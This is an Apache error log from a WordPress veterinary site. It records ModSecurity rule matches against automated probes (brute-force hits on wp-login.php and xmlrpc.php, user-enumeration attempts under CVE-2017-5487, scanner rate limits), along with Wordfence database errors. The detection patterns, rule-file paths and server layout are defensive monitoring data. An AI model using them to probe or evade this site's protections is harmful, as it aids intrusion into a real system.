('wp-content/plugins/wordpress-seo/images/succes_marieke_bubble_optm.svg','/home/vetstars/public_html/wp-content/plugins/wordpress-seo/images/succes_marieke_bubble_optm.svg',UNHEX('a76e3354c440c4fd8d80da37d2dcdca7'),1,UNHEX('8E6C2ADCE44DC431A9548E5B0A3A5A7C'),UNHEX('AD20937DEA4CB3A1DDCD7F3235F367C5285CA32D66C49235DBAD4BE0551003E5')),('wp-content/plugins/wordpress-seo/images/support/github.png','/home/vetstars/public_html/wp-content/plugins/wordpress-seo/images/support/github.png',UNHEX('ed2f83ab32b416ee2ff3473b00182b6f'),1,UNHEX('4AA08ACBB0F4C5197EAF7BEB51EA8A8D'),UNHEX('F62F7AD5891FBD9A32E60619AC97029754183A0717ACB5E4F8031161E452A638')),('wp-content/plugins/wordpress-seo/images/support/help_center.png','/home/vetstars/public_html/wp-content/plugins/wordpress-seo/images/support/help_center.png',UNHEX('f0077b8c0...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('lastScanCompleted', 'Insert query failed: INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES (\\'wp-content/plugins/wordpress-seo/images/succes_marieke_bubble_optm.svg\\',\\'/home/vetstars/public_html/wp-content/plugins/wordpress-seo/images/succes_marieke_bubble_optm.svg\\',UNHEX(\\'a76e3354c440c4fd8d80da37d2dcdca7\\'),1,UNHEX(\\'8E6C2ADCE44DC431A9548E5B0A3A5A7C\\'),UNHEX(\\'AD20937DEA4CB3A1DDCD7F3235F367C5285CA32D66C49235DBAD4BE0551003E5\\')),(\\'wp-content/plugins/wordpress-seo/images/support/github.png\\',\\'/home/vetstars/public_html/wp-content/plugins/wordpress-seo/images/support/github.png\\',UNHEX(\\'ed2f83ab32b416ee2ff3473b00182b6f\\'),1,UNHEX(\\'4AA08ACBB0F4C5197EAF7BEB51EA8A8D\\'),UNHEX(\\'F62F7AD5891FBD9A32E60619AC97029754183A0717ACB5E4F8031161E452A638\\')),(\\'wp-content/plugins/wordpress-seo/images/support/help_cen...'
[Fri Jan 09 12:28:47.706412 2026] [:error] [pid 14770:tid 14784] [client 119.96.24.54:55014] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWCD_x5QbaVZ-6newJby1gAAAgw"]
[Fri Jan 09 20:13:58.648066 2026] [:error] [pid 14770:tid 14793] [client 34.75.229.199:56902] [client 34.75.229.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.229.199, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWDxBh5QbaVZ-6newJY7EwAAAhU"]
[Fri Jan 09 20:14:01.684262 2026] [:error] [pid 14770:tid 14773] [client 34.75.229.199:56902] [client 34.75.229.199] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWDxCR5QbaVZ-6newJY7FwAAAgE"]
[Fri Jan 09 20:14:03.879225 2026] [:error] [pid 14770:tid 14780] [client 34.75.229.199:56902] [client 34.75.229.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.229.199, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWDxCx5QbaVZ-6newJY7GQAAAgg"]
[Fri Jan 09 21:07:01.929677 2026] [:error] [pid 14739:tid 14765] [client 154.38.167.39:54034] [client 154.38.167.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.38.167.39, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWD9dV63M6_PkLt_IJJt2AAAAdg"], referer: https://vetstars.com.au
[Sat Jan 10 00:13:59.557228 2026] [:error] [pid 14831:tid 14854] [client 185.117.225.148:44122] [client 185.117.225.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.148, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWEpR_aKOMCmJcAyBm1azgAAApU"]
[Sat Jan 10 01:40:58.015855 2026] [:error] [pid 30020:tid 30054] [client 34.63.1.211:54800] [client 34.63.1.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.63.1.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWE9qsrjc66qOisG6L0CpAAAAIA"]
[Sat Jan 10 01:41:00.959367 2026] [:error] [pid 30020:tid 30059] [client 34.63.1.211:54800] [client 34.63.1.211] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWE9rMrjc66qOisG6L0CqQAAAIU"]
[Sat Jan 10 01:41:03.735312 2026] [:error] [pid 30020:tid 30058] [client 34.63.1.211:54800] [client 34.63.1.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.63.1.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWE9r8rjc66qOisG6L0CrQAAAIQ"]
[Sat Jan 10 01:45:25.684786 2026] [:error] [pid 14739:tid 14743] [client 161.118.211.239:60247] [client 161.118.211.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWE-tV63M6_PkLt_IJKR_AAAAcI"], referer: http://macfieldsvet.com.au
[Sat Jan 10 01:55:45.209665 2026] [:error] [pid 14831:tid 14840] [client 34.125.212.143:57637] [client 34.125.212.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.125.212.143, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWFBIfaKOMCmJcAyBm1oTgAAAoc"]
[Sat Jan 10 01:55:48.046305 2026] [:error] [pid 14831:tid 14836] [client 34.125.212.143:57637] [client 34.125.212.143] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWFBJPaKOMCmJcAyBm1oUgAAAoM"]
[Sat Jan 10 01:55:50.276949 2026] [:error] [pid 14831:tid 14854] [client 34.125.212.143:57637] [client 34.125.212.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.125.212.143, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWFBJvaKOMCmJcAyBm1oVQAAApU"]
[Sat Jan 10 06:01:07.128870 2026] [:error] [pid 20647:tid 20690] [client 43.153.123.3:42754] [client 43.153.123.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWF6o6vb0x69MarUHzCpzQAAAEg"]
[Sat Jan 10 07:28:39.259598 2026] [:error] [pid 31369:tid 31392] [client 182.44.2.148:56700] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWGPJ7gqeMKgT1uTxuIFEQAAAVU"]
[Sat Jan 10 08:22:43.702791 2026] [:error] [pid 20744:tid 20757] [client 85.203.15.100:38023] [client 85.203.15.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.100, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWGb00A8oR5jvkFpcP-GLgAAAMA"]
[Sat Jan 10 08:49:45.709273 2026] [:error] [pid 20744:tid 20767] [client 159.223.72.96:54536] [client 159.223.72.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.72.96, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWGiKUA8oR5jvkFpcP-KqQAAAMo"]
[Sat Jan 10 08:49:48.144707 2026] [:error] [pid 20744:tid 20768] [client 159.223.72.96:54536] [client 159.223.72.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.72.96, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWGiLEA8oR5jvkFpcP-KqwAAAMs"]
[Sat Jan 10 08:49:51.698948 2026] [:error] [pid 20744:tid 20764] [client 159.223.72.96:54536] [client 159.223.72.96] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWGiL0A8oR5jvkFpcP-KsQAAAMc"]
[Sat Jan 10 08:49:54.536411 2026] [:error] [pid 20744:tid 20760] [client 159.223.72.96:54536] [client 159.223.72.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.72.96, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWGiMkA8oR5jvkFpcP-KswAAAMM"]
[Sat Jan 10 08:49:58.426017 2026] [:error] [pid 20648:tid 20728] [client 159.223.72.96:55443] [client 159.223.72.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.72.96, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWGiNjBnnIoBkEBdx9AmvAAAAJM"], referer: https://vetstars.com.au//wp-login.php
[Sat Jan 10 12:29:11.558174 2026] [:error] [pid 31369:tid 31379] [client 43.157.175.122:59386] [client 43.157.175.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWHVl7gqeMKgT1uTxuJPwwAAAUg"]
[Sat Jan 10 17:52:40.672268 2026] [autoindex:error] [pid 1383:tid 1390] [client 143.244.141.160:63404] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Jan 10 18:23:13.035235 2026] [:error] [pid 1296:tid 1315] [client 34.145.166.148:62784] [client 34.145.166.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.166.148, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWIokSbQW-fowWjMNKB5FgAAAlE"]
[Sat Jan 10 18:23:15.916994 2026] [:error] [pid 1296:tid 1311] [client 34.145.166.148:62784] [client 34.145.166.148] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWIokybQW-fowWjMNKB5GQAAAk0"]
[Sat Jan 10 18:23:18.721366 2026] [:error] [pid 1296:tid 1305] [client 34.145.166.148:62784] [client 34.145.166.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.166.148, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWIolibQW-fowWjMNKB5GwAAAkc"]
[Sun Jan 11 02:12:31.611397 2026] [autoindex:error] [pid 57649:tid 57657] [client 138.197.13.155:59503] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Jan 11 05:11:53.628721 2026] [ssl:error] [pid 5272:tid 5296] [client 23.95.96.140:56954] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Sun Jan 11 07:41:51.038637 2026] [:error] [pid 5153:tid 5189] [client 49.51.252.146:57528] [client 49.51.252.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWLjv81QbNSPD9bRi753vwAAAEA"]
[Sun Jan 11 08:47:26.595267 2026] [:error] [pid 11747:tid 11756] [client 106.54.62.156:38354] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWLzHqRFw84LNpZSk7mSMgAAAUU"]
[Sun Jan 11 12:56:05.963467 2026] [ssl:error] [pid 11747:tid 11760] [client 72.11.155.223:46070] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://macfieldsvet.com.au/
[Sun Jan 11 13:36:54.766251 2026] [:error] [pid 5155:tid 5218] [client 150.109.230.210:35242] [client 150.109.230.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWM29lgEKFpNs0_zLGnfoAAAAII"]
[Sun Jan 11 17:35:22.767759 2026] [:error] [pid 5155:tid 5225] [client 43.135.130.202:38536] [client 43.135.130.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWNu2lgEKFpNs0_zLGn9TQAAAIk"]
[Sun Jan 11 21:19:54.822312 2026] [:error] [pid 5153:tid 5198] [client 1.15.52.154:49768] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWOjes1QbNSPD9bRi77PwwAAAEk"]
[Sun Jan 11 21:57:48.643171 2026] [:error] [pid 11748:tid 11785] [client 43.133.14.237:34712] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWOsXAC5xybrWOCNnoYOUgAAAYc"]
[Mon Jan 12 00:21:38.533808 2026] [:error] [pid 5155:tid 5235] [client 198.175.150.250:43976] [client 198.175.150.250] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "66.249.70.34_59c3d4f2509c82627f0eeb8e0e13ae1254eb4065"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/index.php"] [unique_id "aWPODVgEKFpNs0_zLGk-jQAAAJM"]
[Mon Jan 12 01:19:27.908154 2026] [:error] [pid 35977:tid 35991] [client 43.128.67.187:37886] [client 43.128.67.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWPbn7DST5RMqStLeP2fywAAAgs"]
[Mon Jan 12 09:19:18.925215 2026] [:error] [pid 48213:tid 48228] [client 43.165.67.57:55766] [client 43.165.67.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWRMFmRmaItaLCBvAhiAQwAAAM0"]
[Mon Jan 12 09:53:12.243499 2026] [:error] [pid 48105:tid 48145] [client 114.96.103.33:51115] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWRUCDbe4SdLfSmtJe0dqQAAAEU"]
[Mon Jan 12 12:13:50.984057 2026] [proxy_fcgi:error] [pid 51956:tid 51975] [client 103.4.122.14:36404] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('currentCronKey', '', 'yes') ON DUPLICATE KEY UPDATE val = '', autoload = 'yes' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('wfsd_engine', '', 'no') ON DUPLICATE KEY UPDATE val = '', autoload = 'no' made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfConfig::setPHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES ('wp-content/plugins/wordpress-seo/images/error-icon.svg','/home/vetstars/public_html/wp-content/plugins/wordpress-seo/images/error-icon.svg',UNHEX('6290459a23ebbb7658e1be390ec6af2c'),1,UNHEX('E2F42B39AF553B3170DCC4BF6B74BD5B'),UNHEX('8A5A02017267C0C0963684BC874AEC10C17660CD3CF363C49B1E629A8789260F')),('wp-content/plugins/wordpress-seo/images/icon-admin-bar.svg','/home/vetstars/public_html/wp-content/plugins/wordpress-seo/images/icon-admin-bar.svg',UNHEX('7ffd5ba8d30fb594672ac898da8d11a2'),1,UNHEX('32D9F9AA979C163F6A5DACE6581C121F'),UNHEX('F663D780A445CAA5828E54F9E47A714F3AD3A353A1CAF5B5F37D450EF2A5A11D')),('wp-content/plugins/wordpress-seo/images/icon-cornerstone-content.svg','/home/vetstars/public_html/wp-content/plugins/wordpress-seo/images/icon-cornerstone-content.svg',UNHEX('9a0094889d9972e94c1ebfce40904ae...PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO wp_wfconfig (name, val, autoload) values ('lastScanCompleted', 'Insert query failed: INSERT INTO wp_wffilemods (filename,real_path,filenameMD5,knownFile,newMD5,SHAC) VALUES (\\'wp-content/plugins/wordpress-seo/images/error-icon.svg\\',\\'/home/vetstars/public_html/wp-content/plugins/wordpress-seo/images/error-icon.svg\\',UNHEX(\\'6290459a23ebbb7658e1be390ec6af2c\\'),1,UNHEX(\\'E2F42B39AF553B3170DCC4BF6B74BD5B\\'),UNHEX(\\'8A5A02017267C0C0963684BC874AEC10C17660CD3CF363C49B1E629A8789260F\\')),(\\'wp-content/plugins/wordpress-seo/images/icon-admin-bar.svg\\',\\'/home/vetstars/public_html/wp-content/plugins/wordpress-seo/images/icon-admin-bar.svg\\',UNHEX(\\'7ffd5ba8d30fb594672ac898da8d11a2\\'),1,UNHEX(\\'32D9F9AA979C163F6A5DACE6581C121F\\'),UNHEX(\\'F663D780A445CAA5828E54F9E47A714F3AD3A353A1CAF5B5F37D450EF2A5A11D\\')),(\\'wp-content/plugins/wordpress-seo/images/icon-cornerstone-content.svg\\',\\'/home/vetstars/...'
[Mon Jan 12 12:26:44.174619 2026] [:error] [pid 51986:tid 52032] [client 49.181.80.102:52178] [client 49.181.80.102] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "114.119.156.133_2f20390f4bf2c71a212308cf7c6fbb784b1f8cbf"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js"] [unique_id "aWR4AhiI5CoFGIbwGZYrMgAAA1E"], referer: https://vetstars.com.au/
[Mon Jan 12 12:41:16.255098 2026] [:error] [pid 48213:tid 48238] [client 49.195.40.244:58324] [client 49.195.40.244] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "51.68.107.151_b46b427c3115ff8a6c6d3236e83857a16a59aea8"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2023/02/vet_stars-image02.jpg"] [unique_id "aWR7amRmaItaLCBvAhi9YgAAANc"], referer: https://vetstars.com.au/
